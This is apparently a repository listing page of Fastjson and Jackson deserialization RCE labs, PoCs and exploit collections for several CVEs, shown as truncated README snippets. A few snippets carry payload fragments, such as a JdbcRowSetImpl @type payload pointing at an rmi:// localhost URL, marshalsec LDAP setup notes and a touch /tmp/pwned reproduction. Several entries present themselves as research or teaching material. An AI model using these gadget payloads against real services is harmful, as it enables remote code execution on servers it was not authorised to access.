fastjson-jsontype-rce-lab

Fastjson @JSONType remote-JAR/FD-chain lab and detection This repository now preserves two distinct Fastjson research tracks: modern-fd/ is the recommended, marker-only reconstruction of the Fastjson 1.2.83 single-body remote-JAR/file-descriptor chain on Spring Boot 3, normal embedded Tomcat and...

0day

0day For reasons known to us, the original repository was deleted, but local repo were kept, forks and stars cleared But rest assured, it's still the original recipe, the original taste. In case of this issue,please Follow Me Education use only 中文 | English EXP, POC of various CMS, platforms,...

CVE-2022-25845-exploit

CVE-2022-25845-exploit Try exploiting this CVE by studying some articles: https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ https://www.freebuf.com/vuls/339752.html This is my analyze:...

fastjson-rce-lab

Fastjson 1.2.83 RCE Lab Environment CVE-2026-16723 Disclaimer: This lab is intended solely for security research, teaching demonstrations, and defense construction in authorized environments. Testing unauthorized targets without permission may be illegal; users bear all responsibility for the...

Fastjson Insecure Deserialization - Remote Code Execution

parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

fastjson-1.2.58-rce

fastjson-1.2.58-rce need: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar Download fastjson-1.2.58.jar...

fastjson-cve

CVE-2026-16723 Reproduction Project Overview This project reproduces CVE-2026-16723 — a critical Remote Code Execution RCE vulnerability in fastjson 1.2.68 through 1.2.83. The vulnerability allows RCE under default configuration without requiring AutoType enablement or pre-existing classpath...

CVE-2020-8840

CVE-2020-8840 Jackson-databind remote code execution vulnerability CVE-2020-8840 analysis and reproduction environment code. The project includes: jackson-databind, Fastjson payloads WebServer malicious class Compiled marshalsec-0.0.3-SNAPSHOT-all.jar Vulnerability Overview Jackson-databind remot...

FastJsonAutoTypeBypass

What's this This project is used for studying how to bypass fastJSON AutoType check. Gadget Info Mapping just for fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

fastjson-CVE-2022-25845

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CVE-2026-16723

🚨 CVE-2026-16723 — fastjson 1.2.83 @JSONType Resource Probe Chain RCE A reproduction project for remote class loading / command execution in fastjson 1.2.66 1.2.83 via the@JSONType annotation + an illegal class name + the jar: protocol. ⚠️ Disclaimer This project is intended solely for security...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote Command Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true Unknown version between 1.2.24-41...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 Environment limitation: This demo uses the jndi ldap exploitation method, so a low version less than 8u191 of the jdk is required. 1. Use marshalsec to create an ldap service on local port 1389, pointing to the http service on local port 8000...

FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Vulnerability analysis: https://www.cnblogs.com/tr1ple/p/12348886.html...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes After setting the project as a Maven project, run note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65 Just run the main function of FastjsondemoApplication.java TouchFile.java file import java.lang.Runtime; import...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring Main Dependencies 1. jackson 2. commons-io Quick Reproduction 1. Import project into IntelliJ IDEA, build mvn install 2. Build and run Dockerfile docker build . 3. Run src/test/java/POC.java to execute the touch /tmp/pwned command Exploitation Guide Step1: Add...

fastjson-RCE

fastjson-v1.2.47-RCE Vulnerability Reproduction fastjson-1.2.47 == Resource Download: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码 https://github.com/alibaba/fastjson/archive/1.2.47.zip jar...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE Ps： Officially, in https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java, 0x7bddd363ad3998c6L i.e., 1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration was added to the blacklis...